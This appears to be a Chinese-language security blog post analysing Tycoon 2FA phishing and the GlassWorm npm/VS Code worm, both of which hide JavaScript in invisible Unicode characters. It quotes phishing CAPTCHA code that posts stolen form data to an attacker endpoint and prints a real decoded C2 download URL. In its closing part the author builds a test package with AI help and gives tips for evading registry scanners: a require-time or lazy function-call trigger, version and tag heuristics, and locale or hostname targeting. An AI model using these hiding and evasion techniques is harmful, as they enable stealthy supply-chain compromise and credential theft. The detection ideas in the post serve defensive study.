最近出了挺多unicode编码隐写的东西,Tycoon 2FA在钓鱼页用Hangul填充符编码JS逻辑,GlassWorm用Unicode变体选择符将payload藏进了npm包和VS Code扩展的源码空白的地方,都是两个原理相通,落地场景不同的东西(不需要密码学,你拿AI跑几分钟就能出个现成编码器
Tycoon 2FA
https://www.microsoft.com/en-us/security/blog/2026/03/04/inside-tycoon2fa-how-a-leading-aitm-phishing-kit-operated-at-scale/
https://any.run/cybersecurity-blog/tycoon2fa-evasion-analysis/
https://www.bridewell.com/insights/blogs/detail/the-rise-and-fall-of-tycoon-2fa-inside-the-mfa-bypassing-phishing-empire
Tycoon2FA是一个钓鱼平台,去慕名看了他们tg频道快照,120 美元/10天订阅好贵……技术定位是针对微软和gmail绕过的AiTM钓鱼,拿反向代理服务器托管钓鱼页面来截获凭证和cookie

基础设施由钓鱼落地页&目标检查/cookie收集组件构成,能部署在不同的FQDN上面。按照微软2025年8月的版本来看有七个攻击层面:钓鱼邮件链接 →PDF →PDF深层重定向→Cloudflare Turnstile/自定义CAPTCHA→反机器人检查→ 邮箱验证页面 → 假Microsoft 365登录页 受害者输入密码之后的Tycoon服务器实时转发凭据到合法身份提供商,再合法MFA被透传给受害者,完成MFA后,Tycoon截获Cookie。
他们web管理页面很无脑,包含了模板和域名 托管配置/重定向逻辑管理/交互追踪/Cookie下载/附件文件生成这些,这种UI界面也算是造成了大规模被利用的一种原因之一吧(
Tycoon2FA的CAPTCHA早期版本还是依赖Cloudflare Turnstile,但是Cloudflare可以识别然后ban掉恶意站点,安全团队也能通过识别Turnstile特征元素快速指纹化钓鱼页面,所以Tycoon 2FA先后引入了Google reCAPTCHA和IconCaptcha,最终落地在自定义HTML5 Canvas CAPTCHA和多种方案之间动态轮换
↓ LevelBlue的实现逻辑
function generateCaptcha() {
var canvas = document.getElementById("captchaCanvas");
var ctx = canvas.getContext("2d");
var chars = "ABCDEFGHJKLMNPQRSTUVWXYZabcdefghjkmnpqrstuvwxyz23456789";
var captchaText = "";
for (var i = 0; i < 6; i++) {
captchaText += chars.charAt(Math.floor(Math.random() * chars.length));
}
ctx.fillStyle = "#f0f0f0";
ctx.fillRect(0, 0, canvas.width, canvas.height);
for (var i = 0; i < 30; i++) {
ctx.strokeStyle = "rgba(" +
Math.random()*255 + "," +
Math.random()*255 + "," +
Math.random()*255 + ",0.3)";
ctx.beginPath();
ctx.moveTo(Math.random()*canvas.width, Math.random()*canvas.height);
ctx.lineTo(Math.random()*canvas.width, Math.random()*canvas.height);
ctx.stroke();
}
for (var i = 0; i < captchaText.length; i++) {
ctx.save();
ctx.translate(30 + i * 35, 35 + Math.random() * 10);
ctx.rotate((Math.random() - 0.5) * 0.4);
ctx.font = (20 + Math.random() * 10) + "px Arial";
ctx.fillStyle = "rgb(" +
Math.floor(Math.random()*100) + "," +
Math.floor(Math.random()*100) + "," +
Math.floor(Math.random()*100) + ")";
ctx.fillText(captchaText[i], 0, 0);
ctx.restore();
}
return captchaText;
}
function verifyCaptcha(userInput, expectedText) {
if (userInput === expectedText) {
sendFormData();
fetchNextStageInstructions();
} else {
generateCaptcha();
}
}
function fetchNextStageInstructions() {
fetch("../attackerEndpoint", { method: "POST", body: formData })
.then(response => {
if (response.error || response.unexpected) {
document.body.innerHTML = atob(decoyPageBase64);
} else {
loadPhishingPage(response);
}
});
}
综上CAPTCHA可以拿来过滤扫描器,googl的URL扫描服务没有办法自动通过CAPTCHA,所以我们自己的恶意页面不会被标记,可以拿来直接延长页面的存活时间。并且如果要分析页面,必须手动通过CAPTCHA才能看到后续内容,这样可以让批量分析变得不可行,最重要的是有它存在反而让页面看起来可信….
Hangul编码

它们是字母,所有Unicode将它们归类为Lo(Letter, other),具有ID_Start和ID_Continue属性,在JSc是合法的标识符字符,可以用来作变量名/参数名/属性名/函数名。
且渲染为零宽度,普通字母有可见字形,这两个填充字符在所有主流浏览器和编辑器中渲染都是没有宽度的,没有字形的;这个组合非常特殊,因为像其他诸如ZWSP U+200B的零宽字符属于Format类别,不具有 ID_Start,不能用作 JS 标识符的首字符。
Tycoon 2FA的落地页用Halfwidth Hangul Filler U+FFA0 代表二进制0,用Hangul Filler U+3164代表二进制1 levelblue,他们将JS代码逐字符转换为二进制表示,再用这两个不可见字符替代0和1
- 假设要编码字母 a:
- 如果要编码 alert(1) :
编码后的字符被拼接为二进制字符串按8位分割为字节,每个字节再转换为对应的字符,最后构出完整的JS代码levelblue
*为什么用Proxy,不能直接eval
直接eval需要显式的解码+执行代码,在源码中会看到明显的eval(decode(…))模式,容易被捕获,Proxy get陷阱将解码逻辑隐藏在属性访问行为中,源码中看到的只是一个属性访问操作,没有显式的eval调用
按照公开逻辑让gemini复现了测试页面,整合在下面了qwq
把一段明文JS变成人眼看不到的字符序列,然后嵌入html,编码算法和↑一样,U+FFA0和 U+3164。脚本将payload的每个ASCII字符转换为8位二进制表示,然后逐位替换:二进制0用U+FFA0,二进制1用U+3164代,一段46字符的 alert(…)语句编码后变成360个不可见字符。
生成的html文件将不可见字符直接写入JS的一个模板字符串常量中,这些字符没有字形在浏览器的查看源代码中这个常量看起来是空的,但是JS引擎完整地保留了它们。
html复现了Martin Kleppe的Proxy get陷阱执行链,是Tycoon 2F真实钓鱼攻击中原封不动使用的那段。用了JS Proxy 对象的属性访问拦截能力,创建了一个空对象的Proxy,定义了get陷阱,当任何属性被访问时,陷阱函数接收属性名作为参数。然后代码访问这个Proxy的一个属性,属性名是360个不可见Hangul字符。
属性访问触发的时候,get 陷阱内部执行解码,+(“ᅠ” > c),U+FFA0 的码位值(65440)大于 U+3164 的码位值(12644),所以当 c 是 U+3164(代表二进制 1)时比较结果为 true,转为数字就是 1;当 c 是 U+FFA0(代表二进制 0)时比较结果为 false,转为数字就是0。
这样每个不可见字符被还原为一个二进制位。每 8 位拼成一个字节(通过正则 /.{8}/g 分组),用 parseInt(“0b” + bits, 10) 转回字符码,String.fromCharCode() 转回 ASCII 字符。最终拼接出完整的 JavaScript 代码字符串传给eval执行。
GlassWorm
https://www.aikido.dev/blog/glassworm-returns-unicode-attack-github-npm-vscode
https://www.koi.ai/blog/glassworm-first-self-propagating-worm-using-invisible-code-hits-openvsx-marketplace
接下来是老生常谈的npm包投毒….
- Notable Compromised Repositories on GitHub
- Among the repositories we identified, several belong to well-known projects with meaningful star counts, making them high-value targets for downstream supply chain impact:
- pedronauck/reworm (1,460 stars)
- pedronauck/spacefold (62 stars)
- anomalyco/opencode-bench (56 stars)
- doczjs/docz-plugin-css (39 stars)
- uknfire/theGreatFilter (38 stars)
- sillyva/rpg-schedule (37 stars)
- wasmer-examples/hono-wasmer-starter (8 stars)

安全公司风险引擎标记了CodeJoy这个VS Code扩展出现可疑行为变更,发起异常网络连接并尝试未经授权地访问凭证,分析发现扩展被植入了一种前所未见的恶意软件,报告原文是”恶意代码是不可见的。不是混淆,不是隐藏在压缩文件中,而是对人眼真正不可见。”

在被感染的代码中第2行和第7行之间出现了一段巨大的空白,实际上包含了完整的恶意payload
起名GlassWorm,顾名思义,Glasss是不可见Unicode字符让恶意代码在编辑器中像玻璃般透明,Worm指窃取凭证后自动感染更多包和扩展。
GlassWorm用的是Unicode变体选择符和PUA字符隐藏
- 变体选择符 VS1–VS16:U+FE00–U+FE0F
- 变体选择符补充区 VS17–VS256:U+E0100–U+E01EF
这些字符在Unicode标准中被归类为非间距标记,原始用途是作为前序字符的字形变体修饰符(emoji表情样式切换),它们没有字形渲染为零宽度。
当一长串变体选择符附加在一个简单的ASCII字符之后,且没有可逻辑修饰的前序字符时,这在正常文本中极不正常,是很明显的隐写术,但是它们不产生任何视觉输出,所以没有编辑器或者diff工具会标记它们。
加了六个高级命令:
- –payload — 换一个payload,命令行直接传
- –payload-file — 多行载荷写到文件里,build.py读文件内容编码
- –decode — 逆向提取不可见字符,还原为可读代码打印出来。
- –json –exit-code — JSON给机器读 exit code 1让管线自动失败
- –hex-context — 不可见字符在底层字节的样子
- –yara — 自动生成YARA规则扫描整个文件系统
有对应的pua-npm和hangul-browser,底层原理反正都是不可见Unicode→运行时解码→执行
测试的时候发现一个可以来当启发式规则的,new Function中使用require会报错。原因是require不是全局变量,它是Node模块包装函数的局部参数,new Function执行时脱离了该闭包回到全局作用域,导致requir不可见。
eval在调用位置的词法作用域中执行,继承了完整的模块上下文,Node.js v24把这个收紧了…..对照了GlassWorm的代码发现它们用的是eval,不是一开始我写的new Function,所以拿eval+展开运算符和codePointAt()的组合模式是正常code里面非常非常罕见。
写的时候就意识到这个方案没有任何技术门槛,连基本的密码学都不需要,让任何一个AI写都能实现一个完整的编码器,Martin Kleppe的Hangul是一个字符比较运算 +(“ᅠ” > c) 同时完成类型判断和二进制提取,Tycoon 2FA直接从Kleppe的网页上复制代码连变量名都没改…..
搜了一下有六万多个个不可见码位能编码使用,只要项目里面的detect遗漏了任何一个范围,攻击者就可以用那个范围绕过,尝试一个新范围的成本只用一行基址偏移量。
让AI跑的触发是postinstall,其他触发方式感觉更隐蔽点()可以在require触发,解码逻辑放在模块的顶层代码里面,这样任何 require(‘invisible-utils’) 都会执行,还可以学glassworm将解码逻辑放在capitalize函数内部,只有实际调用时才执行。(补在最后了
他们还搞了三层c2,完全不同的通道,就算ban一个也不影响整体。
第一层是solana钱包地址,每5秒查询上面的硬编码,搜索该地址发出的交易,交易的memo字段中嵌入了一个jjson,包含Base64编码的下一阶段下载链接。
第二层是Google Calendar(又是你),代码中嵌有一个日历事件链接,标题中包含Base64的URL,指向另一个加密payload。

aHR0cDovLzIxNy42OS4zLjIxOC9nZXRfem9tYmlfcGF5bG9hZC9xUUQlMkZKb2kzV0NXU2s4Z2dHSGlUdg==
解码后:http://217.69.3.218/get_zombi_payload/qQD%2FJoi3WCWSk8ggGHiTdg==
直接在路径里面告诉大家要把受害者变成僵尸。。。。Google域名信誉所以安全工具不会阻止对calendar.app.google的请求,日历事件可以随时修改内容更新C2地址
第三层是BitTorrent DHT,使用公钥858d53e806734c539b50f15ca72580437ce47ba9查询 BitTorrent DHT网络,检索包含C2 IP地址的JSON数据,通过密码学签名验证确保数据来自攻击者。


解码后是一个马,能进行批量凭证窃取和偷加密货币钱包,还附带了隐藏VNC服务器和把受害者机器变成跳板节点,看新闻报道甚至还有利用偷来的凭证自动登录npm/OpenVSX/GitHub账户,在受害者维护的包和扩展中注入相同的恶意代码,然后发布新版本
迷思

Snyk的规则全是全部围绕install钩子设计的,毕竟postinstall是最后一个安全工具能主动触发并观测的环节,之后执行完全取决于用户怎么使用这个包,安全工具没有控制权。
它的检测类似注册中心级别的扫描器,轮询npm的CouchDB复制端点对每个新发布的包做分析,它只能元数据分析&tarball解压,如果有install脚本就在沙箱中执行。
沙箱执行postinstall是因为它知道该执行什么,package写了postinstall: “node lib/setup.js”,沙箱照做就行,如果没有install脚本沙箱就不知道下一步该做什么。
(所以为什么不能require一下看看呢
理论上沙箱可以在安装后做require来触发模块顶层代码,但是每天的规模太大了,而且很多包的require如果缺少数据库连接/API/指定的操作系统都会失败,还有大量合法的包在require时做初始化工作,如果把require时有网络请求标记为可疑那主流嗲dotenv和sentry类的包全部会被误报。
↑反推一下,包的主版本号小于90、包在在一年后内有更新、包的新版本在对应的GitHub仓库中有标签、避免用 “postinstall”: “node .” 就行了(

试着在之前AI跑的项目上改成require和函数调用了,删了setup.js和postinstall,bootstrap移到index末尾的模块顶层,测试结果是npm install时零输出,node app.js 的require那一行立即触发输出系统信息,然后capitalize slugify正常工作
函数那里bootstrap从顶层移入capitalize函数内部,用 _init() + _initialized标志做延迟单次执行,三个随机变量名每次build不同。
- node test1_require_only.js → 只 require 不调用
- 结果:module loaded, typeof capitalize: function
- node test2_slugify_only.js → 只调用 slugify
- 结果:hello-world-2024
- node test3_capitalize.js → 调用 capitalize
- 结果:[FUNCTION-TRIGGER] Payload executed!
还可以学GlassWorm的毛子 ,检测系统语言,俄语区跳过执行。。。。只在特定locale下触发来地理定向,hostname/username模式匹配,测试结果中hostname的username是我自己的,如果加一个检查只在hostname匹配企业命名规范时触发,就能只打特定的机器(